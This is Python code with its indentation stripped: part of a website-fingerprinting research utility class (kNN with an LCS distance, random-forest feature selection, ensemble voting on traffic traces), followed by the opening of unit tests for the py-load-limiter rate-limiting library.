for line in trainList:
if line[0] != '@':
#print line
currWebsite = line.split(",")[-1]
instance = [float(i) for i in line.split(",")[:-1]]
data = instance
density = gaussian_kde(data)
xs = np.linspace(0,5)
density.covariance_factor = lambda : .25
density._compute_covariance()
if currWebsite != prevWebsite:
iColor += 1
if iColor == len(colors):
iColor = 0
plt.plot(xs,density(xs),color=colors[iColor],label=currWebsite)
prevWebsite = currWebsite
plt.xlabel('Data')
plt.ylabel('Density')
plt.title('Fingerprints of ' + str(len(classes)) + ' websites')
plt.show()
@staticmethod
def plot (files):
trainList = Utils.readFile(files[0])
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2].split("{")[1].split("}")[0].split(",")
#cmap = plt.get_cmap('gnuplot')
#colors = [cmap(i) for i in np.linspace(0, 1, len(classes))]
colors = ['r', 'b', 'g', 'k', 'm']
currWebsite = classes[0]
prevWebsite = currWebsite
iColor = 0
for line in trainList:
if line[0] != '@':
#print line
currWebsite = line.split(",")[-1]
instance = [float(i) for i in line.split(",")[:-1]]
data = instance
#density = gaussian_kde(data)
ys = data
#xs = np.linspace(0,5)
xs = range(0,len(instance))
#density.covariance_factor = lambda : .25
#density._compute_covariance()
if currWebsite != prevWebsite:
iColor += 1
if iColor == len(colors):
iColor = 0
plt.plot(xs,ys,color=colors[iColor],label=currWebsite)
prevWebsite = currWebsite
plt.xlabel('Feature')
plt.ylabel('Value')
plt.title('Fingerprints of ' + str(len(classes)) + ' websites')
plt.show()
@staticmethod
def kNN():
X = [[0], [1], [2], [3]]
y = [0, 0, 1, 1]
from sklearn.neighbors import KNeighborsClassifier
neigh = KNeighborsClassifier(n_neighbors=3)
neigh.fit(X, y)
print(neigh.predict([[1.1]]))
print(neigh.predict_proba([[0.9]]))
@staticmethod
def kNN_mydist():
#X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2], [-3, -2], [-3, -2]])
#y = np.array([[0], [0], [0], [1], [1], [1]])
y = np.array([[0], [0], [0], [1], [1], [1], [0], [0]])
from sklearn.neighbors import KNeighborsClassifier
#neigh = KNeighborsClassifier(n_neighbors=3, metric=Utils.mydist)
neigh = KNeighborsClassifier(metric=Utils.mydist)
print X
print y
neigh.fit(X, y)
print "here"
print(neigh.predict([[1.1, 2]]))
#print(neigh.predict_proba([[0.9, 1]]))
@staticmethod
def mydist(x, y):
print np.sum((x-y)**2)
return np.sum((x-y)**2)
@staticmethod
def kNN_mydist_lcs():
data = np.array([[1,2,6,5,4,8], [2,1,6,5,4,4], [2,1,6,5], [2,1,6,5,4,4,7,6], [2,1,6,5,4],[2,3,6,5,4,4]])
X = np.arange(len(data)).reshape(-1, 1) # an index into a separate data structure (data)
y = np.array([[0], [0], [0], [1], [1], [1]])
from sklearn.neighbors import KNeighborsClassifier
neigh = KNeighborsClassifier(n_neighbors=3, metric=Utils.mydist_lcs, algorithm='brute') # kNN distance metric overwritten, see LCS_dist. algorithm='brute' is a must
neigh.fit(X, y)
testing = np.array([[2,1,6,5,4,4],[2,1,6,5,4,4]])
print(neigh.predict(np.arange(len(testing)).reshape(-1, 1)))
#print(neigh.predict_proba([[0.9, 1]]))
@staticmethod
def mydist_lcs(xx, X): # xx is the testing instance, X is the training instance (passed one by one)
data = np.array([[1,2,6,5,4,8], [2,1,6,5,4,4], [2,1,6,5], [2,1,6,5,4,4,7,6], [2,1,6,5,4],[2,3,6,5,4,4]])
testing = np.array([[2,1,6,5,4,4],[2,1,6,5,4,4]])
import mlpy
i, j = int(xx[0]), int(X[0]) # extract indices
'''
print i
print j
print testing[i]
print data[j]
'''
length, path = mlpy.lcs_std(testing[i], data[j])
dist_lcs = float(length)/np.sqrt(len(testing[i])*len(data[j])) ## 4.1.2 in Anomaly Detection for Discrete Sequences: A Survey
dist_lcs_inv = float(1/float(dist_lcs))
print str(dist_lcs) + ", " + str(dist_lcs_inv)
return dist_lcs_inv
data = np.array([[1,2,6,5,4,8], [2,1,6,5,4,4], [2,1,6,5], [2,1,6,5,4,4,7,6], [2,1,6,5,4],[2,3,6,5,4,4], [2,1,6,5,4],[2,3,6,5,4,4],[2,3,6,5,4,4],[2,3,6,5,4,4]])
testing = np.array([[2,1,6,5,4,4],[2,1,6,5,4]])
@staticmethod
def calcHP_KNN_LCS():
#data = np.array([[1,2,6,5,4,8], [2,1,6,5,4,4], [2,1,6,5], [2,1,6,5,4,4,7,6], [2,1,6,5,4],[2,3,6,5,4,4]])
X = np.arange(len(Utils.data)).reshape(-1, 1) # an index into a separate data structure (data)
y = np.array([[0], [0], [0], [1], [1], [1], [1], [0], [0], [0]])
#X = [[0],[1],[2],[3],[4],[5],[6],[7],[8],[9]]
#y = [0,0,0,1,1,1,1,0,0,0]
print X
print y
from sklearn.neighbors import KNeighborsClassifier
neigh = KNeighborsClassifier(n_neighbors=3, metric=Utils.LCS_dist, algorithm='brute') # kNN distance metric overwritten, see LCS_dist. algorithm='brute' is a must
neigh.fit(X, y)
#testing = np.array([[2,1,6,5,4,4]])
print "\n"
print(neigh.predict(np.arange(len(Utils.testing)).reshape(-1, 1)))
#print(neigh.predict_proba([[0.9, 1]]))
@staticmethod
def LCS_dist(xx, X): # xx is the testing instance, X is the training instance (passed one by one)
#data = np.array([[1,2,6,5,4,8], [2,1,6,5,4,4], [2,1,6,5], [2,1,6,5,4,4,7,6], [2,1,6,5,4],[2,3,6,5,4,4]])
#testing = np.array([[2,1,6,5,4,4]])
import mlpy
i, j = int(xx[0]), int(X[0]) # extract indices
print "i = " + str(i) + ", j = " +str(j)
'''
print i
print j
print testing[i]
print data[j]
'''
length, path = mlpy.lcs_std(Utils.testing[i], Utils.data[j])
dist_lcs = float(length)/np.sqrt(len(Utils.testing[i])*len(Utils.data[j])) ## 4.1.2 in Anomaly Detection for Discrete Sequences: A Survey
dist_lcs_inv = float(1/float(dist_lcs))
#print str(length) + ", " + str(dist_lcs) + ", " + str(dist_lcs_inv)
return dist_lcs_inv
data2 = [[1,2,6,5,4,8], [2,1,6,5,4,4], [2,1,6,5], [2,1,6,5,4,4,7,6], [2,1,6,5,4],[2,3,6,5,4,4], [2,1,6,5,4],[2,3,6,5,4,4],[2,3,6,5,4,4],[2,3,6,5,4,4]]
testing2 = np.array([[2,1,6,5,4,4,-1,-1],[2,1,6,5,4,-1,-1,-1]])
#testing2 = np.array([[2,1,6,5,4,4,-1,-1]])
@staticmethod
def calcHP_KNN_LCS_fixed():
#data = np.array([[1,2,6,5,4,8], [2,1,6,5,4,4], [2,1,6,5], [2,1,6,5,4,4,7,6], [2,1,6,5,4],[2,3,6,5,4,4]])
#X = np.arange(len(Utils.data)).reshape(-1, 1) # an index into a separate data structure (data)
X = Utils.make_square(Utils.data2)
#y = [0, 0, 0, 1, 1, 1, 1, 0, 0, 0]
#y = np.array([[0], [0], [0], [1], [1], [1], [1], [0], [0], [0]])
y = np.array([[0], [0], [0], [1], [1], [1], [1], [0], [0], [0]])
#print X
#print y
from sklearn.neighbors import KNeighborsClassifier
neigh = KNeighborsClassifier(n_neighbors=3, metric=Utils.LCS_dist_fixed,algorithm='brute')
#neigh = KNeighborsClassifier(n_neighbors=3,weights='distance',metric='pyfunc',func=Utils.LCS_dist_fixed)
#neigh = KNeighborsClassifier(metric=Utils.LCS_dist_fixed)
neigh.fit(X, y)
#print "here"
#print X
print(neigh.predict(Utils.testing2))
#print(neigh.predict_proba([[0.9, 1]]))
@staticmethod
def LCS_dist_fixed(xx, Xxx): # xx is the testing instance, X is the training instance (passed one by one)
import mlpy
length, path = mlpy.lcs_std(xx, Xxx)
dist_lcs = float(length)/np.sqrt(len(xx)*len(Xxx)) ## 4.1.2 in Anomaly Detection for Discrete Sequences: A Survey
dist_lcs_inv = float(1/float(dist_lcs))
print str(length) + ", " + str(dist_lcs) + ", " + str(dist_lcs_inv)
return dist_lcs_inv
@staticmethod
def make_square(jagged):
# Careful: this mutates the series list of list
max_cols = max(map(len, jagged))
for row in jagged:
row.extend([-1] * (max_cols - len(row)))
#return np.array(jagged, dtype=np.float)
return np.array(jagged)
#Utils.calcHP_KNN_LCS()
#Utils.kNN_mydist_lcs()
#Utils.calcHP_KNN_LCS_fixed()
#Utils.kNN_mydist()
@staticmethod
def calcTreeBaseFSTest():
from sklearn.ensemble import ExtraTreesClassifier
from sklearn.datasets import load_iris
from sklearn.feature_selection import SelectFromModel
iris = load_iris()
X, y = iris.data, iris.target
clf = ExtraTreesClassifier()
clf = clf.fit(X, y)
importances = clf.feature_importances_
indices = np.argsort(importances)[::-1]
# Print the feature ranking
print("Feature ranking:")
for f in range(X.shape[1]):
print("%d. feature %d (%f)" % (f + 1, indices[f], importances[indices[f]]))
#model = SelectFromModel(clf, prefit=True)
#X_new = model.transform(X)
#X_new.shape
'''
trainList = Utils.readFile(files[0])
instancesList = []
classes = ""
y=[]
for line in trainList:
if line[0] == '@':
if line.lower().startswith("@attribute class"):
classes = line.split(" ")[2]
else:
#instancesList.append(float(line.split(",")[:-1]))
instancesList.append([float(i) for i in line.split(",")[:-1]])
#y.append(line.split(",")[-1])
y.append(line.split(",")[-1].split("webpage")[1]) # taking the ID of the website as the library works on numbers
pass
'''
@staticmethod
def calcTreeBaseFSTest2():
from sklearn.ensemble import ExtraTreesClassifier
from sklearn.datasets import load_iris
from sklearn.feature_selection import SelectFromModel
iris = load_iris()
X, y = iris.data, iris.target
#print X.shape # (150, 4)
# split X and y, 100 for training (feature selection) and 50 for testing
Xtr = X[:100]
ytr = y[:100]
Xte = X[100:]
yte = y[100:]
clf = ExtraTreesClassifier()
clf = clf.fit(Xtr, ytr)
importances = clf.feature_importances_ # feature selection
# model built from Xtr only and will be used for Xte. This is to eliminate bias.
# threshold=0.01 to get all features first
model = SelectFromModel(clf, prefit=True, threshold=0.01)
Xtr_new = model.transform(Xtr)
n_features = Xtr_new.shape[1] # shape gives (n_rows, n_columns)
n_features_needed = 2
while n_features > n_features_needed:
model.threshold += 0.05
Xtr_new = model.transform(Xtr)
n_features = Xtr_new.shape[1]
print model.threshold
# model built from Xtr only and will be used for Xte. This is to eliminate bias.
Xte_new = model.transform(Xte)
print Xte_new.shape
print Xte_new
# get the most important features
indices = np.argsort(importances)[::-1]
print indices
# Print the feature ranking
print("Feature ranking:")
for f in range(n_features_needed):
print("%d. feature %d (%f)" % (f + 1, indices[f], importances[indices[f]]))
@staticmethod
def calcTreeBaseRF(files, n_features_needed):
# Feature selection
trainList = Utils.readFile(files[0])
testList = Utils.readFile(files[1])
Xtr = []
featuresBlockArff = []
ytr=[]
for line in trainList:
if line[0] == '@':
featuresBlockArff.append(line)
else:
Xtr.append([float(i) for i in line.split(",")[:-1]])
ytr.append(line.split(",")[-1])
Xte = []
yte = []
for line in testList:
if line[0] != '@':
Xte.append([float(i) for i in line.split(",")[:-1]])
yte.append(line.split(",")[-1])
Xtr = np.array(Xtr)
ytr = np.array(ytr)
Xte = np.array(Xte)
yte = np.array(yte)
clf = ExtraTreesClassifier(criterion='entropy')
clf = clf.fit(Xtr, ytr)
importances = clf.feature_importances_ # feature selection
# model built from Xtr only and will be used for Xte. This is to eliminate bias.
# threshold=0.01 to get all features first
model = SelectFromModel(clf, prefit=True, threshold=0.01)
Xtr_new = model.transform(Xtr)
n_features = Xtr_new.shape[1] # shape gives (n_rows, n_columns)
print 'num features: ' + str(n_features)
if n_features == 0:
print 'No feature selection applied, data may be too noisy!'
return [files[0], files[1]]
# Check if model has less features than needed
if n_features <= n_features_needed:
n_features_needed = n_features
else:
# pick the most important features (n_features_needed)
while n_features > n_features_needed:
model.threshold += 0.05
Xtr_new = model.transform(Xtr)
n_features = Xtr_new.shape[1]
if n_features <= n_features_needed:
# this breaks the loop
n_features_needed = n_features
print 'threshold: ' + str(model.threshold)
# model built from Xtr only and will be used for Xte. This is to eliminate bias.
Xte_new = model.transform(Xte)
# get the most important features
indices = np.argsort(importances)[::-1]
print indices
# Print the feature ranking
print("Feature ranking:")
for f in range(n_features_needed):
print("%d. feature %d (%f)" % (f + 1, indices[f], importances[indices[f]]))
newTrainList = []
newTestList = []
newTrainList.append('@RELATION traces')
newTestList.append('@RELATION traces')
# selected features
for i in range(1,len(featuresBlockArff)-2): # excluding @ATTRIBUTE class and @DATA
if i-1 in indices[:n_features_needed]:
newTrainList.append(featuresBlockArff[i])
newTestList.append(featuresBlockArff[i])
newTrainList.append(featuresBlockArff[-2]) # @ATTRIBUTE class and @DATA
newTestList.append( featuresBlockArff[-2]) # @DATA
newTrainList.append('@DATA')
newTestList.append('@DATA')
for i in xrange(len(Xtr_new)):
instance = Xtr_new[i]
newTrainList.append(','.join([str("%.2f" % k) for k in instance]) + ',' + ytr[i])
for i in xrange(len(Xte_new)):
instance = Xte_new[i]
newTestList.append(','.join([str("%.2f" % k) for k in instance]) + ',' + yte[i])
# writing the new training file (with lower dimensions)
fnewTrainName = files[0][:-5]+'_FS_RForest' + str(n_features_needed) + '.arff'
fnewTrain = open(fnewTrainName, 'w')
for item in newTrainList:
fnewTrain.write(item+'\n')
fnewTrain.close()
# writing the new testing file (with lower dimensions)
fnewTestName = files[1][:-5]+'_FS_RForest' + str(n_features_needed) + '.arff'
fnewTest = open(fnewTestName, 'w')
for item in newTestList:
fnewTest.write(item+'\n')
fnewTest.close()
return [fnewTrainName,fnewTestName]
#Utils.calcTreeBaseFSTest2()
#Utils.calcTreeBaseRF(['/data/kld/temp/Website-Fingerprinting-Glove/WF-BiDirection-PCA-Glove-OSAD-11Nov2015/cache/datafile-47yhu0bp-rf-train.arff','/data/kld/temp/Website-Fingerprinting-Glove/WF-BiDirection-PCA-Glove-OSAD-11Nov2015/cache/datafile-47yhu0bp-rf-test.arff'],1)
@staticmethod
def getEnsembleAccuracy(debugInfos,CLASSIFIER_LIST):
ensembleDebugInfo = []
numClassifiers = len(debugInfos)
numTestInst = len(debugInfos[CLASSIFIER_LIST[0]])
for i in range(0,numTestInst):
actualClass = debugInfos[CLASSIFIER_LIST[0]][i][0]
ensemblePredictedClasses = []
ensembleClassfierList = []
for classifier in debugInfos: # loop over keys
ensemblePredictedClasses.append(debugInfos[classifier][i][1]) # classifier is key in debugInfos, i is row number, 1 is second column
ensemblePredictedClasses.append(debugInfos[classifier][i][2]) # confidence
ensembleClassfierList.append(classifier)
majorityVoteClass = Utils.getMajorityVoteClassConfidence(ensemblePredictedClasses,ensembleClassfierList)
#majorityVoteClass = Utils.getMajorityVoteClass(ensemblePredictedClasses,ensembleClassfierList)
ensembleDebugInfo.append([actualClass,majorityVoteClass])
totalPredictions = 0
totalCorrectPredictions = 0
for item in ensembleDebugInfo:
totalPredictions += 1.0
if item[0] == item[1]:
totalCorrectPredictions += 1.0
ensembleAccuracy = totalCorrectPredictions / totalPredictions * 100.0
#print ensembleAccuracy
return [ensembleAccuracy,ensembleDebugInfo]
@staticmethod
def getMajorityVoteClass(ensemblePredictedClasses, ensembleClassfierList):
from collections import Counter
c = Counter(ensemblePredictedClasses)
value, count = c.most_common()[0]
print ensemblePredictedClasses
print ensembleClassfierList
print c
if count != len(ensemblePredictedClasses): # majority don't agree (tie in case of two classifiers. needs to be modified for three classifiers)
preferredValue = ensemblePredictedClasses[ensembleClassfierList.index(config.ENSEMBLE)]
print preferredValue
print "----------"
return preferredValue
print value
print "----------"
return value
@staticmethod
def getMajorityVoteClassConfidence(ensemblePredictedClasses, ensembleClassfierList):
from collections import Counter
c = Counter(ensemblePredictedClasses)
value, count = c.most_common()[0]
print ensemblePredictedClasses
print ensembleClassfierList
print c
maxWeight = -1
maxWeighIndx = 0
#if count != len(ensemblePredictedClasses): # majority don't agree (tie in case of two classifiers. needs to be modified for three classifiers)
if count < 2 or Utils.isfloat(value): # in case of ['webpate1',0.56,'webpage0',0.56] so value is 0.56 and count is 2 (0.56 is the confidence of svm, not a webpage!)
#preferredValue = ensemblePredictedClasses[ensembleClassfierList.index(config.ENSEMBLE)]
for i in range(1,len(ensemblePredictedClasses),2): # ensemblePredictedClasses=['webpate1',0.56,'webpage0',0.2]
if float(ensemblePredictedClasses[i])>maxWeight:
maxWeight = float(ensemblePredictedClasses[i])
maxWeighIndx = i
preferredValue = ensemblePredictedClasses[maxWeighIndx-1]
print preferredValue
print "----------"
return preferredValue
print value
print "----------"
return value
@staticmethod
def isfloat(value):
try:
float(value) # throws an exception if value is a string, for example
return True
except:
return False
@staticmethod
def getOutputFileName(arffFileName):
# arffFileName
# datafile-openworld5.i2vt8sjxk300.c0.d0.C3.N775.t40.T30.D1.E1.F1.G1.H1.I1.B16.J8.K300.L0.05.M100.A1.V0.P0.G0.l0.0.b600-train.arff
arffFileName = arffFileName.split("datafile-")[1]
arffFileName = arffFileName[8:]
arffFileName = arffFileName.split("-train")[0]
outputFilename = arffFileName
outputFilename = os.path.join(config.OUTPUT_DIR,outputFilename)
outputFilename = outputFilename+'.'+config.CLUSTERING[config.CLUSTERING_METHOD]+'.binary'
if not os.path.exists(outputFilename):
banner = ['tpr','fpr','Acc','F2','tp','tn','fp','fn','description','num Clusters / cvx Hulls','File ID']
f = open( outputFilename, 'w' )
f.write('\t, '.join(banner))
f.close()
return outputFilename
'''
debugInfos={3: [['webpage170', 'webpage170'], ['webpage170', 'webpage170'], ['webpage268', 'webpage268'], ['webpage268', 'webpage268'], ['webpage411', 'webpage411'], ['webpage411', 'webpage411'], ['webpage184', 'webpage184'], ['webpage184', 'webpage184'], ['webpage485', 'webpage485'], ['webpage485', 'webpage485'], ['webpage478', 'webpage478'], ['webpage478', 'webpage478'], ['webpage69', 'webpage69'], ['webpage69', 'webpage184'], ['webpage646', 'webpage646'], ['webpage646', 'webpage646'], ['webpage732', 'webpage732'], ['webpage732', 'webpage732'], ['webpage143', 'webpage143'], ['webpage143', 'webpage143']], 15: [['webpage170', 'webpage170'], ['webpage170', 'webpage170'], ['webpage268', 'webpage268'], ['webpage268', 'webpage268'], ['webpage411', 'webpage411'], ['webpage411', 'webpage411'], ['webpage184', 'webpage184'], ['webpage184', 'webpage184'], ['webpage485', 'webpage485'], ['webpage485', 'webpage485'], ['webpage478', 'webpage478'], ['webpage478', 'webpage478'], ['webpage69', 'webpage69'], ['webpage69', 'webpage69'], ['webpage646', 'webpage646'], ['webpage646', 'webpage646'], ['webpage732', 'webpage732'], ['webpage732', 'webpage732'], ['webpage143', 'webpage143'], ['webpage143', 'webpage143']], 23: [['webpage170', 'webpage170'], ['webpage170', 'webpage170'], ['webpage268', 'webpage268'], ['webpage268', 'webpage268'], ['webpage411', 'webpage411'], ['webpage411', 'webpage411'], ['webpage184', 'webpage184'], ['webpage184', 'webpage184'], ['webpage485', 'webpage485'], ['webpage485', 'webpage485'], ['webpage478', 'webpage478'], ['webpage478', 'webpage478'], ['webpage69', 'webpage69'], ['webpage69', 'webpage268'], ['webpage646', 'webpage646'], ['webpage646', 'webpage646'], ['webpage732', 'webpage732'], ['webpage732', 'webpage732'], ['webpage143', 'webpage143'], ['webpage143', 'webpage143']]}
CLASSIFIER_LIST = [3, 15, 23]
Utils.getEnsembleAccuracy(debugInfos, CLASSIFIER_LIST)
'''
'''
config.ENSEMBLE = 43
debugInfos={43: [['webpage0', 'webpage1'], ['webpage0', 'webpage1'], ['webpage0', 'webpage1'], ['webpage0', 'webpage1'], ['webpage1', 'webpage1'], ['webpage1', 'webpage1'], ['webpage1', 'webpage1'], ['webpage1', 'webpage1'], ['webpage2', 'webpage2'], ['webpage2', 'webpage2'], ['webpage2', 'webpage2'], ['webpage2', 'webpage2'], ['webpage3', 'webpage3'], ['webpage3', 'webpage3'], ['webpage3', 'webpage3'], ['webpage3', 'webpage3'], ['webpage4', 'webpage4'], ['webpage4', 'webpage4'], ['webpage4', 'webpage4'], ['webpage4', 'webpage4'], ['webpage5', 'webpage5'], ['webpage5', 'webpage5'], ['webpage5', 'webpage5'], ['webpage5', 'webpage5'], ['webpage6', 'webpage6'], ['webpage6', 'webpage6'], ['webpage6', 'webpage6'], ['webpage6', 'webpage6'], ['webpage7', 'webpage7'], ['webpage7', 'webpage7'], ['webpage7', 'webpage7'], ['webpage7', 'webpage7'], ['webpage8', 'webpage8'], ['webpage8', 'webpage8'], ['webpage8', 'webpage8'], ['webpage8', 'webpage8'], ['webpage9', 'webpage9'], ['webpage9', 'webpage26'], ['webpage9', 'webpage9'], ['webpage9', 'webpage9'], ['webpage10', 'webpage10'], ['webpage10', 'webpage10'], ['webpage10', 'webpage10'], ['webpage10', 'webpage10'], ['webpage11', 'webpage11'], ['webpage11', 'webpage11'], ['webpage11', 'webpage11'], ['webpage11', 'webpage11'], ['webpage12', 'webpage12'], ['webpage12', 'webpage12'], ['webpage12', 'webpage12'], ['webpage12', 'webpage12'], ['webpage13', 'webpage24'], ['webpage13', 'webpage24'], ['webpage13', 'webpage24'], ['webpage13', 'webpage20'], ['webpage14', 'webpage14'], ['webpage14', 'webpage14'], ['webpage14', 'webpage14'], ['webpage14', 'webpage14'], ['webpage15', 'webpage14'], ['webpage15', 'webpage14'], ['webpage15', 'webpage14'], ['webpage15', 'webpage14'], ['webpage16', 'webpage16'], ['webpage16', 'webpage16'], ['webpage16', 'webpage16'], ['webpage16', 'webpage16'], ['webpage17', 'webpage17'], ['webpage17', 'webpage17'], ['webpage17', 'webpage15'], ['webpage17', 'webpage14'], ['webpage18', 'webpage18'], ['webpage18', 'webpage18'], ['webpage18', 'webpage24'], ['webpage18', 'webpage18'], ['webpage19', 'webpage20'], ['webpage19', 'webpage20'], ['webpage19', 'webpage20'], ['webpage19', 'webpage20'], ['webpage20', 'webpage20'], ['webpage20', 'webpage20'], ['webpage20', 'webpage20'], ['webpage20', 'webpage20'], ['webpage21', 'webpage21'], ['webpage21', 'webpage24'], ['webpage21', 'webpage21'], ['webpage21', 'webpage24'], ['webpage22', 'webpage22'], ['webpage22', 'webpage24'], ['webpage22', 'webpage24'], ['webpage22', 'webpage24'], ['webpage23', 'webpage24'], ['webpage23', 'webpage23'], ['webpage23', 'webpage22'], ['webpage23', 'webpage26'], ['webpage24', 'webpage24'], ['webpage24', 'webpage24'], ['webpage24', 'webpage24'], ['webpage24', 'webpage24'], ['webpage25', 'webpage24'], ['webpage25', 'webpage24'], ['webpage25', 'webpage25'], ['webpage25', 'webpage2'], ['webpage26', 'webpage24'], ['webpage26', 'webpage24'], ['webpage26', 'webpage24'], ['webpage26', 'webpage24'], ['webpage27', 'webpage23'], ['webpage27', 'webpage24'], ['webpage27', 'webpage24'], ['webpage27', 'webpage23'], ['webpage28', 'webpage24'], ['webpage28', 'webpage24'], ['webpage28', 'webpage29'], ['webpage28', 'webpage28'], ['webpage29', 'webpage24'], ['webpage29', 'webpage24'], ['webpage29', 'webpage24'], ['webpage29', 'webpage24']], 23: [['webpage0', 'webpage0'], ['webpage0', 'webpage0'], ['webpage0', 'webpage0'], ['webpage0', 'webpage0'], ['webpage1', 'webpage1'], ['webpage1', 'webpage1'], ['webpage1', 'webpage1'], ['webpage1', 'webpage1'], ['webpage2', 'webpage2'], ['webpage2', 'webpage2'], ['webpage2', 'webpage2'], ['webpage2', 'webpage2'], ['webpage3', 'webpage3'], ['webpage3', 'webpage3'], ['webpage3', 'webpage3'], ['webpage3', 'webpage3'], ['webpage4', 'webpage4'], ['webpage4', 'webpage4'], ['webpage4', 'webpage4'], ['webpage4', 'webpage4'], ['webpage5', 'webpage5'], ['webpage5', 'webpage5'], ['webpage5', 'webpage5'], ['webpage5', 'webpage5'], ['webpage6', 'webpage6'], ['webpage6', 'webpage6'], ['webpage6', 'webpage6'], ['webpage6', 'webpage6'], ['webpage7', 'webpage7'], ['webpage7', 'webpage7'], ['webpage7', 'webpage7'], ['webpage7', 'webpage7'], ['webpage8', 'webpage8'], ['webpage8', 'webpage8'], ['webpage8', 'webpage8'], ['webpage8', 'webpage8'], ['webpage9', 'webpage9'], ['webpage9', 'webpage9'], ['webpage9', 'webpage9'], ['webpage9', 'webpage9'], ['webpage10', 'webpage10'], ['webpage10', 'webpage10'], ['webpage10', 'webpage10'], ['webpage10', 'webpage10'], ['webpage11', 'webpage11'], ['webpage11', 'webpage11'], ['webpage11', 'webpage11'], ['webpage11', 'webpage11'], ['webpage12', 'webpage12'], ['webpage12', 'webpage12'], ['webpage12', 'webpage12'], ['webpage12', 'webpage12'], ['webpage13', 'webpage29'], ['webpage13', 'webpage29'], ['webpage13', 'webpage29'], ['webpage13', 'webpage13'], ['webpage14', 'webpage14'], ['webpage14', 'webpage14'], ['webpage14', 'webpage14'], ['webpage14', 'webpage14'], ['webpage15', 'webpage15'], ['webpage15', 'webpage15'], ['webpage15', 'webpage15'], ['webpage15', 'webpage15'], ['webpage16', 'webpage16'], ['webpage16', 'webpage16'], ['webpage16', 'webpage16'], ['webpage16', 'webpage16'], ['webpage17', 'webpage17'], ['webpage17', 'webpage17'], ['webpage17', 'webpage17'], ['webpage17', 'webpage17'], ['webpage18', 'webpage18'], ['webpage18', 'webpage18'], ['webpage18', 'webpage18'], ['webpage18', 'webpage18'], ['webpage19', 'webpage19'], ['webpage19', 'webpage19'], ['webpage19', 'webpage19'], ['webpage19', 'webpage19'], ['webpage20', 'webpage20'], ['webpage20', 'webpage20'], ['webpage20', 'webpage20'], ['webpage20', 'webpage20'], ['webpage21', 'webpage29'], ['webpage21', 'webpage29'], ['webpage21', 'webpage29'], ['webpage21', 'webpage29'], ['webpage22', 'webpage29'], ['webpage22', 'webpage29'], ['webpage22', 'webpage29'], ['webpage22', 'webpage29'], ['webpage23', 'webpage29'], ['webpage23', 'webpage29'], ['webpage23', 'webpage29'], ['webpage23', 'webpage29'], ['webpage24', 'webpage29'], ['webpage24', 'webpage29'], ['webpage24', 'webpage29'], ['webpage24', 'webpage29'], ['webpage25', 'webpage29'], ['webpage25', 'webpage29'], ['webpage25', 'webpage29'], ['webpage25', 'webpage29'], ['webpage26', 'webpage29'], ['webpage26', 'webpage29'], ['webpage26', 'webpage29'], ['webpage26', 'webpage29'], ['webpage27', 'webpage29'], ['webpage27', 'webpage29'], ['webpage27', 'webpage29'], ['webpage27', 'webpage29'], ['webpage28', 'webpage29'], ['webpage28', 'webpage29'], ['webpage28', 'webpage29'], ['webpage28', 'webpage29'], ['webpage29', 'webpage29'], ['webpage29', 'webpage29'], ['webpage29', 'webpage29'], ['webpage29', 'webpage29']]}
CLASSIFIER_LIST = [43,23]
Utils.getEnsembleAccuracy(debugInfos, CLASSIFIER_LIST)
'''
'''
def makeLabelNoise(files, noiseRatio):
trainList = Utils.readFile(files[0])
testList = Utils.readFile(files[1])
Xtr = []
featuresBlockArff = []
ytr=[]
for line in trainList:
if line[0] == '@':
featuresBlockArff.append(line)
else:
Xtr.append([float(i) for i in line.split(",")[:-1]])
ytr.append(line.split(",")[-1]) # label
ytrBen = ytr[ : config.NUM_BENIGN_CLASSES*config.NUM_TRAINING_TRACES]
ytrAttk = ytr[config.NUM_BENIGN_CLASSES*config.NUM_TRAINING_TRACES : ]
return [accuracy,debugInfo]
'''
#print Utils.isfloat('webpage1')
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| 8,945
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py
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Python
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tests/unit_tests.py
|
fabiofenoglio/py-load-limiter
|
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"MIT"
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tests/unit_tests.py
|
fabiofenoglio/py-load-limiter
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7032c5dd967f4f69df2e7bf15c7ad685f2c6ba9e
|
[
"MIT"
] | null | null | null |
tests/unit_tests.py
|
fabiofenoglio/py-load-limiter
|
7032c5dd967f4f69df2e7bf15c7ad685f2c6ba9e
|
[
"MIT"
] | null | null | null |
import unittest
import datetime
from freezegun import freeze_time
from pyloadlimiter import LoadLimiter, LoadLimitExceeded, InMemoryLoadLimiterStorageAdapter
class TestLoadLimiter(unittest.TestCase):
def deferred_fn(self, a, named1=None):
if a == 0:
raise ValueError('failure: a can\'t be 0')
return [a, named1]
def test_bad_params(self):
for kwargs in [
{ 'maxload': 0 },
{ 'maxload': -2 },
{ 'period': 0 },
{ 'period': -2 },
{ 'fragmentation': 1.01 },
{ 'fragmentation': 0 },
{ 'fragmentation': -0.5 },
{ 'penalty_factor': -0.5 },
{ 'penalty_distribution_factor': -0.5 },
{ 'penalty_distribution_factor': 1.01 },
{ 'request_overhead_penalty_factor': -0.5 },
{ 'request_overhead_penalty_distribution_factor': -0.5 },
{ 'request_overhead_penalty_distribution_factor': 1.01 },
{ 'max_penalty_cap_factor': -0.5 }
]:
with self.assertRaises(ValueError):
LoadLimiter(**kwargs)
def test_basic(self):
start_time = datetime.datetime.now()
with freeze_time(start_time):
limiter = LoadLimiter(maxload=10, period=2)
self.assertEqual(limiter.instant_load_factor(), 0.0)
self.assertTrue(limiter.submit(3).accepted)
self.assertTrue(limiter.submit(3).accepted)
self.assertEqual(limiter.instant_load_factor(), 0.6)
self.assertTrue(limiter.submit(4).accepted)
self.assertEqual(limiter.instant_load_factor(), 1.0)
r = limiter.submit(1)
self.assertGreaterEqual(limiter.instant_load_factor(), 1.0)
self.assertFalse(r.accepted)
self.assertTrue(r.retry_in > 0 and r.retry_in <=2)
with freeze_time(start_time) as frozen_datetime:
limiter = LoadLimiter(maxload=10, period=1)
self.assertTrue(limiter.submit(5).accepted)
self.assertTrue(limiter.submit(5).accepted)
frozen_datetime.tick(delta=datetime.timedelta(seconds=1))
self.assertTrue(limiter.submit(1).accepted)
def test_context_manager(self):
start_time = datetime.datetime.now()
with freeze_time(start_time):
submitted = 0
limiter = LoadLimiter(maxload=10, period=2)
with limiter.waiting(5):
submitted += 5
with limiter.waiting(5):
submitted += 5
with self.assertRaises(LoadLimitExceeded):
with limiter.attempting(5):
submitted += 5
self.assertEqual(submitted, 10)
with freeze_time(start_time) as frozen_datetime:
limiter = LoadLimiter(maxload=10, period=1)
submitted = 0
